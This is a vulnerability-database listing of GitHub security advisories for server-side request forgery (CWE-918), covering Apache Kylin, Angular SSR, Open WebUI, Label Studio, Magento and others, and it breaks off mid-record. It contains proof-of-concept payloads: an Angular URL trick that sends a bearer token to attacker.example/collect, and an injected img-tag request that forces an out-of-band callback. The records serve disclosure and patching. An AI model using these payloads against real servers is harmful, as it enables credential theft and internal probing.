Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

6137 vulnerabilities reference this CWE, most recent first.

GHSA-F6M8-QM7J-FH65

Vulnerability from github – Published: 2025-10-02 12:31 – Updated: 2025-11-05 20:47
VLAI
Summary
Apache Kylin Server-Side Request Forgery (SSRF) Vulnerability
Details

Server-Side Request Forgery (SSRF) vulnerability in Apache Kylin.

This issue affects Apache Kylin: from 4.0.0 through 5.0.2. You are fine as long as the Kylin's system and project admin access is well protected.

Users are recommended to upgrade to version 5.0.3, which fixes the issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.kylin:kylin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.kylin:kylin-common-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.kylin:kylin-common-service"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.kylin:kylin-core-common"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.kylin:kylin-core-metadata"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.kylin:kylin-ops-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.kylin:kylin-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.0.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-61735"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-02T21:46:51Z",
    "nvd_published_at": "2025-10-02T10:15:40Z",
    "severity": "HIGH"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Apache Kylin.\n\nThis issue affects Apache Kylin: from 4.0.0 through 5.0.2.\u00a0You are fine as long as the Kylin\u0027s system and project admin access is well protected.\n\nUsers are recommended to upgrade to version 5.0.3, which fixes the issue.",
  "id": "GHSA-f6m8-qm7j-fh65",
  "modified": "2025-11-05T20:47:58Z",
  "published": "2025-10-02T12:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61735"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/kylin/pull/2332"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/kylin/commit/22eb8fd5dfdeffa3fc57bae6d5c82a019eece662"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/kylin"
    },
    {
      "type": "WEB",
      "url": "https://issues.apache.org/jira/browse/KYLIN-6082"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/yscobmx869zvprsykb94r24jtmb58ckh"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2025/09/30/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Kylin Server-Side Request Forgery (SSRF) Vulnerability"
}

GHSA-F6MG-HQ7F-JW2J

Vulnerability from github – Published: 2024-07-18 12:30 – Updated: 2024-08-08 18:31
VLAI
Details

SSRF in Apache HTTP Server on Windows with mod_rewrite in server/vhost context, allows to potentially leak NTML hashes to a malicious server via SSRF and malicious requests.

Users are recommended to upgrade to version 2.4.62 which fixes this issue. 

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-40898"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-18T10:15:03Z",
    "severity": "CRITICAL"
  },
  "details": "SSRF in Apache HTTP Server on Windows with mod_rewrite in server/vhost context, allows to potentially leak NTML hashes to a malicious server via SSRF and malicious requests.\n\nUsers are recommended to upgrade to version 2.4.62 which fixes this issue.\u00a0",
  "id": "GHSA-f6mg-hq7f-jw2j",
  "modified": "2024-08-08T18:31:19Z",
  "published": "2024-07-18T12:30:52Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40898"
    },
    {
      "type": "WEB",
      "url": "https://httpd.apache.org/security/vulnerabilities_24.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F6MR-PJWC-34M4

Vulnerability from github – Published: 2026-09-10 20:19 – Updated: 2026-09-10 20:19
VLAI
Summary
Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR
Details

Summary

A discrepancy between WHATWG URL parsing and Angular SSR's URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.

Technical Description

When applications validate incoming URLs using the WHATWG URL standard (new URL(input, trustedOrigin)), Unicode whitespace characters (such as NO-BREAK SPACE U+00A0 or ZERO WIDTH NO-BREAK SPACE U+FEFF) are not stripped and are evaluated as part of a same-origin relative path (e.g. http://trusted-origin/%C2%A0//attacker.example/collect). Consequently, these URLs successfully pass application-level same-origin checks.

However, @angular/platform-server's URL resolution utility (resolveUrl / parseUrl) previously executed String.prototype.trim(). Because JavaScript's String.prototype.trim() strips all Unicode whitespace (including U+00A0), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (//attacker.example/collect). When resolved during server-side rendering (such as in relativeUrlsTransformerInterceptorFn), this caused the HTTP request to be dispatched to the attacker-controlled origin (http://attacker.example/collect), leaking any credentials (such as Authorization headers) attached by the application for the intended same-origin request.

Impact & Reachability

  • Reachability: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular's HttpClient, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests.
  • Impact: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.

Proof of Concept:

// Interceptor performing same-origin validation
const trustedOrigin = new URL('http://localhost:4000/');
const target = new URL(req.urlWithParams, trustedOrigin);

if (target.origin !== trustedOrigin.origin) {
  throw new Error('Cross-origin request blocked');
}

// Request passes validation, server attaches sensitive credential:
const authenticatedReq = req.clone({
  headers: req.headers.set('Authorization', 'Bearer SERVER-SECRET-TOKEN'),
});

// @angular/platform-server previously trimmed the URL, converting it into
// //attacker.example/collect and routing the credential to the attacker.

Workarounds

  • Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as \u00A0) before performing origin checks or passing them to HttpClient.
  • Avoid relying solely on new URL(input, trustedOrigin).origin for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/platform-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "22.0.0"
            },
            {
              "fixed": "22.1.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/platform-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "21.0.0"
            },
            {
              "fixed": "21.2.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/platform-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "20.0.0"
            },
            {
              "fixed": "20.3.30"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "@angular/platform-server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "19.2.25"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-88056"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-10T20:19:43Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nA discrepancy between WHATWG URL parsing and Angular SSR\u0027s URL resolution allows attackers to bypass same-origin checks and cause Server-Side Request Forgery (SSRF), potentially leaking sensitive server-side credentials.\n\n### Technical Description\nWhen applications validate incoming URLs using the WHATWG URL standard (`new URL(input, trustedOrigin)`), Unicode whitespace characters (such as NO-BREAK SPACE `U+00A0` or ZERO WIDTH NO-BREAK SPACE `U+FEFF`) are not stripped and are evaluated as part of a same-origin relative path (e.g. `http://trusted-origin/%C2%A0//attacker.example/collect`). Consequently, these URLs successfully pass application-level same-origin checks.\n\nHowever, `@angular/platform-server`\u0027s URL resolution utility (`resolveUrl` / `parseUrl`) previously executed `String.prototype.trim()`. Because JavaScript\u0027s `String.prototype.trim()` strips all Unicode whitespace (including `U+00A0`), the leading non-breaking space was removed, converting the string into a cross-origin protocol-relative URL (`//attacker.example/collect`). When resolved during server-side rendering (such as in `relativeUrlsTransformerInterceptorFn`), this caused the HTTP request to be dispatched to the attacker-controlled origin (`http://attacker.example/collect`), leaking any credentials (such as `Authorization` headers) attached by the application for the intended same-origin request.\n\n### Impact \u0026 Reachability\n* **Reachability**: The vulnerability affects Angular Server-Side Rendering (SSR) applications where user-controlled input influences resource or request URLs processed by Angular\u0027s `HttpClient`, an application-level same-origin check is performed before dispatching, and sensitive server-side credentials (such as API keys or Bearer tokens) are attached to approved requests.\n* **Impact**: Successful exploitation allows attackers to bypass same-origin validation, triggering Server-Side Request Forgery (SSRF) and leaking sensitive server-side credentials attached to the request.\n\n\n**Proof of Concept:**\n```ts\n// Interceptor performing same-origin validation\nconst trustedOrigin = new URL(\u0027http://localhost:4000/\u0027);\nconst target = new URL(req.urlWithParams, trustedOrigin);\n\nif (target.origin !== trustedOrigin.origin) {\n  throw new Error(\u0027Cross-origin request blocked\u0027);\n}\n\n// Request passes validation, server attaches sensitive credential:\nconst authenticatedReq = req.clone({\n  headers: req.headers.set(\u0027Authorization\u0027, \u0027Bearer SERVER-SECRET-TOKEN\u0027),\n});\n\n// @angular/platform-server previously trimmed the URL, converting it into\n// //attacker.example/collect and routing the credential to the attacker.\n```\n\n### Workarounds\n* Validate and sanitize input URLs to disallow leading Unicode whitespace characters (such as `\\u00A0`) before performing origin checks or passing them to `HttpClient`.\n* Avoid relying solely on `new URL(input, trustedOrigin).origin` for authorization if the input string may be trimmed or processed by utilities that normalize whitespace differently from the WHATWG URL standard.",
  "id": "GHSA-f6mr-pjwc-34m4",
  "modified": "2026-09-10T20:19:43Z",
  "published": "2026-09-10T20:19:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/security/advisories/GHSA-f6mr-pjwc-34m4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/commit/3e924cc8dbbb57f23b262cb8f0d7e2bd0673034c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/commit/5aa6d97deb9ef1de14e23748b7fa74f97d183132"
    },
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/commit/71e52d1396b9cef98652929b73e08c4cde645970"
    },
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/commit/9339a7a2de437ed93f9cc3da7f32d0100412d599"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/angular/angular"
    },
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/releases/tag/v20.3.30"
    },
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/releases/tag/v21.2.22"
    },
    {
      "type": "WEB",
      "url": "https://github.com/angular/angular/releases/tag/v22.1.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Angular: SSRF and Cross-Origin Credential Disclosure via URL Resolution Discrepancy in SSR"
}

GHSA-F6RV-5QCH-VWVW

Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-19 18:31
VLAI
Details

A SSRF and Arbitrary File Read vulnerability in AppSheet Core in Google AppSheet prior to 2025-11-23 allows an authenticated remote attacker to read sensitive local files and access internal network resources via crafted requests to the production cluster.

This vulnerability was patched and no customer action is needed.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-2274"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-19T16:27:16Z",
    "severity": "HIGH"
  },
  "details": "A SSRF and Arbitrary File Read vulnerability in AppSheet Core in Google AppSheet prior to 2025-11-23 allows an authenticated remote attacker to read sensitive local files and access internal network resources via crafted requests to the production cluster.\n\n\n\n\n\nThis vulnerability was patched and no customer action is needed.",
  "id": "GHSA-f6rv-5qch-vwvw",
  "modified": "2026-02-19T18:31:54Z",
  "published": "2026-02-19T18:31:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2274"
    },
    {
      "type": "WEB",
      "url": "https://discuss.google.dev/t/november-23-2025/332118"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Clear",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-F73H-224C-62QR

Vulnerability from github – Published: 2022-05-24 17:00 – Updated: 2024-02-12 11:51
VLAI
Summary
Magento Server-Side Request Forgery (SSRF)
Details

A remote code execution vulnerability exists in Magento 2.2 prior to 2.2.10, Magento 2.3 prior to 2.3.3 or 2.3.2-p1. An authenticated user with admin privileges to manipulate shippment settings can execute arbitrary code through server-side request forgery due to unsafe handling of a carrier gateway.

As per the Magento Release 2.3.3, if you have already implemented the pre-release version of this patch (2.3.2-p1), it is highly recommended to promptly upgrade to 2.3.2-p2.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.2.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "magento/community-edition"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.3.2-p2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-8151"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-10T16:30:59Z",
    "nvd_published_at": "2019-11-06T00:15:00Z",
    "severity": "HIGH"
  },
  "details": "A remote code execution vulnerability exists in Magento 2.2 prior to 2.2.10, Magento 2.3 prior to 2.3.3 or 2.3.2-p1. An authenticated user with admin privileges to manipulate shippment settings can execute arbitrary code through server-side request forgery due to unsafe handling of a carrier gateway.\n\nAs per [the Magento Release 2.3.3](https://web.archive.org/web/20201126132230/https://devdocs.magento.com/guides/v2.3/release-notes/release-notes-2-3-3-commerce.html#new-security-only-patch-available), if you have already implemented the pre-release version of this patch (2.3.2-p1), it is highly recommended to promptly upgrade to 2.3.2-p2.\n",
  "id": "GHSA-f73h-224c-62qr",
  "modified": "2024-02-12T11:51:51Z",
  "published": "2022-05-24T17:00:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-8151"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/magento/product-community-edition/CVE-2019-8151.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/magento/magento2"
    },
    {
      "type": "WEB",
      "url": "https://magento.com/security/patches/magento-2.3.3-and-2.2.10-security-update"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Magento Server-Side Request Forgery (SSRF)"
}

GHSA-F776-FP4W-266C

Vulnerability from github – Published: 2026-05-14 20:22 – Updated: 2026-05-19 15:59
VLAI
Summary
Open WebUI vulnerable to blind server side request forgery (SSRF) via the PDF generate function
Details

Summary

Blind server side request forgery (SSRF) via the PDF generate function. The finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.

Details

In the PDF export, user inputs are interpreted as HTML and embedded into the PDF. According to tests, scripts and some potentially dangerous tags (iFrame, Object, etc.) are blocked, preventing server-side content from being read through this vulnerability. However, an image tag can be used to force a server-side request (SSRF), as shown in the following below.

PoC

Start a chat and export the PDF: grafik

Intercept the request and insert an <img> tag into the title:

POST /api/v1/utils/pdf HTTP/2
Host: domain.local
//Some headers removed
Content-Type: application/json
Content-Length: 541
Te: trailers

{"title":"<img src='https://d5jok0s7ghl1p77v5brlqlxwmnsega4z.oastify.com' />","messages":[{"id":"81f24589-384d-431c-a26c-5cd3382ac941","parentId":null,"childrenIds":["0c1a3ee1-6350-4bb4-b95e-fc2341c47e8e"],"role":"user","content":"hallo","timestamp":1736932102,"models":["gpt-4o-POC"]},{"parentId":"81f24589-384d-431c-a26c-5cd3382ac941","id":"0c1a3ee1-6350-4bb4-b95e-fc2341c47e8e","childrenIds":[],"role":"assistant","content":"Hallo! Wie kann ich Ihnen helfen?","model":"gpt-4o-POC","modelName":"gpt-4o-POC","modelIdx":0,"userContext":null,"timestamp":1736932103,"done":true}]}

A HTTPS callback was received at https://d5jok0s7ghl1p77v5brlqlxwmnsega4z.oastify.com.

Impact

A user can force server-side GET requests. During the available testing time, no method was found to read the responses (Blind SSRF). Nonetheless, this should be prevented, as an attacker could enumerate internal assets through response delays and trigger arbitrary GET requests.

Resolution

Fixed in commit 167c8bf00, first released in v0.5.11 (2025-02). The fix wraps every user-controllable field that flows into the PDF HTML template (title, content, role, model, formatted date) in html.escape() before the template f-string is fed to fpdf2.write_html(). The PoC payload <img src='...' /> is escaped to &lt;img src=&#x27;...&#x27; /&gt; and rendered as literal text by fpdf2, with no HTML parsing and no outbound request. Users on >= 0.5.11 are not affected.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.11"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45347"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:22:02Z",
    "nvd_published_at": "2026-05-15T22:16:55Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nBlind server side request forgery (SSRF) via the PDF generate function. \nThe finding resulted from a penetration test for a customer. It is suspected that the root cause of the issue lies within the core of Open WebUI, which is why it is being reported as a security issue here. Tested on Open WebUI 0.5.4.\n\n### Details\nIn the PDF export, user inputs are interpreted as HTML and embedded into the PDF. According to tests, scripts and some potentially dangerous tags (iFrame, Object, etc.) are blocked, preventing server-side content from being read through this vulnerability. However, an image tag can be used to force a server-side request (SSRF), as shown in the following below.\n\n### PoC\nStart a chat and export the PDF:\n![grafik](https://github.com/user-attachments/assets/fbfc898d-b5fd-473f-8f6e-bdc9c7f130b7)\n\nIntercept the request and insert an `\u003cimg\u003e` tag into the `title`:\n```http\nPOST /api/v1/utils/pdf HTTP/2\nHost: domain.local\n//Some headers removed\nContent-Type: application/json\nContent-Length: 541\nTe: trailers\n\n{\"title\":\"\u003cimg src=\u0027https://d5jok0s7ghl1p77v5brlqlxwmnsega4z.oastify.com\u0027 /\u003e\",\"messages\":[{\"id\":\"81f24589-384d-431c-a26c-5cd3382ac941\",\"parentId\":null,\"childrenIds\":[\"0c1a3ee1-6350-4bb4-b95e-fc2341c47e8e\"],\"role\":\"user\",\"content\":\"hallo\",\"timestamp\":1736932102,\"models\":[\"gpt-4o-POC\"]},{\"parentId\":\"81f24589-384d-431c-a26c-5cd3382ac941\",\"id\":\"0c1a3ee1-6350-4bb4-b95e-fc2341c47e8e\",\"childrenIds\":[],\"role\":\"assistant\",\"content\":\"Hallo! Wie kann ich Ihnen helfen?\",\"model\":\"gpt-4o-POC\",\"modelName\":\"gpt-4o-POC\",\"modelIdx\":0,\"userContext\":null,\"timestamp\":1736932103,\"done\":true}]}\n```\n\nA HTTPS callback was received at https://d5jok0s7ghl1p77v5brlqlxwmnsega4z.oastify.com.\n\n### Impact\nA user can force server-side GET requests. During the available testing time, no method was found to read the responses (Blind SSRF). Nonetheless, this should be prevented, as an attacker could enumerate internal assets through response delays and trigger arbitrary GET requests.\n\n## Resolution\n\nFixed in commit [167c8bf00](https://github.com/open-webui/open-webui/commit/167c8bf00d165af523acfc3b870749f6be6d3e57), first released in **v0.5.11** (2025-02). The fix wraps every user-controllable field that flows into the PDF HTML template (`title`, `content`, `role`, `model`, formatted date) in `html.escape()` before the template f-string is fed to `fpdf2.write_html()`. The PoC payload `\u003cimg src=\u0027...\u0027 /\u003e` is escaped to `\u0026lt;img src=\u0026#x27;...\u0026#x27; /\u0026gt;` and rendered as literal text by fpdf2, with no HTML parsing and no outbound request. Users on `\u003e= 0.5.11` are not affected.",
  "id": "GHSA-f776-fp4w-266c",
  "modified": "2026-05-19T15:59:48Z",
  "published": "2026-05-14T20:22:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-f776-fp4w-266c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45347"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/commit/167c8bf00d165af523acfc3b870749f6be6d3e57"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/releases/tag/v0.5.11"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI vulnerable to blind server side request forgery (SSRF) via the PDF generate function"
}

GHSA-F786-CCX7-HWCW

Vulnerability from github – Published: 2026-08-11 12:30 – Updated: 2026-08-11 12:30
VLAI
Details

A server-side request forgery vulnerability in HumanSignal Label Studio through 1.24.0.dev0 exists because SSRF_PROTECTION_ENABLED is set to false by default. The import-from-URL endpoint fetches any caller-supplied URL including internal loopback addresses on the default installation. An authenticated user can use this to reach internal services, cloud metadata endpoints, and other resources not intended for external access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-72560"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-11T12:17:41Z",
    "severity": "MODERATE"
  },
  "details": "A server-side request forgery vulnerability in HumanSignal Label Studio through 1.24.0.dev0 exists because SSRF_PROTECTION_ENABLED is set to false by default. The import-from-URL endpoint fetches any caller-supplied URL including internal loopback addresses on the default installation. An authenticated user can use this to reach internal services, cloud metadata endpoints, and other resources not intended for external access.",
  "id": "GHSA-f786-ccx7-hwcw",
  "modified": "2026-08-11T12:30:25Z",
  "published": "2026-08-11T12:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-72560"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HumanSignal/label-studio"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F7FH-QG34-X2XH

Vulnerability from github – Published: 2026-04-17 22:18 – Updated: 2026-05-12 13:34
VLAI
Summary
OpenClaw: CDP /json/version WebSocket URL could pivot to untrusted second-hop targets
Details

Summary

CDP /json/version WebSocket URL could pivot to untrusted second-hop targets.

Affected Packages / Versions

  • Package: openclaw
  • Ecosystem: npm
  • Affected versions: < 2026.4.5
  • Patched versions: >= 2026.4.5

Impact

A browser profile could trust a CDP /json/version response whose webSocketDebuggerUrl pointed at a different host, enabling a second-hop SSRF-style pivot.

Technical Details

The fix normalizes and re-validates direct CDP WebSocket targets before connecting.

Fix

The issue was fixed in #60469. The first stable tag containing the fix is v2026.4.5, and openclaw@2026.4.14 includes the fix.

Fix Commit(s)

  • bc356cc8c2beaa747c71dd86cceab8f804699665
  • PR: #60469

Release Process Note

Users should upgrade to openclaw 2026.4.5 or newer. The latest npm release, 2026.4.14, already includes the fix.

Credits

Thanks to @tdjackey for reporting this issue.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43576"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-17T22:18:28Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nCDP /json/version WebSocket URL could pivot to untrusted second-hop targets.\n\n## Affected Packages / Versions\n\n- Package: `openclaw`\n- Ecosystem: npm\n- Affected versions: `\u003c 2026.4.5`\n- Patched versions: `\u003e= 2026.4.5`\n\n## Impact\n\nA browser profile could trust a CDP `/json/version` response whose `webSocketDebuggerUrl` pointed at a different host, enabling a second-hop SSRF-style pivot.\n\n## Technical Details\n\nThe fix normalizes and re-validates direct CDP WebSocket targets before connecting.\n\n## Fix\n\nThe issue was fixed in #60469. The first stable tag containing the fix is `v2026.4.5`, and `openclaw@2026.4.14` includes the fix.\n\n## Fix Commit(s)\n\n- `bc356cc8c2beaa747c71dd86cceab8f804699665`\n- PR: #60469\n\n## Release Process Note\n\nUsers should upgrade to `openclaw` 2026.4.5 or newer. The latest npm release, `2026.4.14`, already includes the fix.\n\n## Credits\n\nThanks to @tdjackey for reporting this issue.",
  "id": "GHSA-f7fh-qg34-x2xh",
  "modified": "2026-05-12T13:34:48Z",
  "published": "2026-04-17T22:18:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-f7fh-qg34-x2xh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43576"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/pull/60469"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/bc356cc8c2beaa747c71dd86cceab8f804699665"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/openclaw-second-hop-ssrf-via-cdp-json-version-websocket-url"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: CDP /json/version WebSocket URL could pivot to untrusted second-hop targets"
}

GHSA-F7FP-X9MV-9JHH

Vulnerability from github – Published: 2025-07-16 12:30 – Updated: 2026-04-01 18:35
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Kerfred FG Drupal to WordPress allows Server Side Request Forgery. This issue affects FG Drupal to WordPress: from n/a through 3.90.0.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-48294"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-16T11:15:25Z",
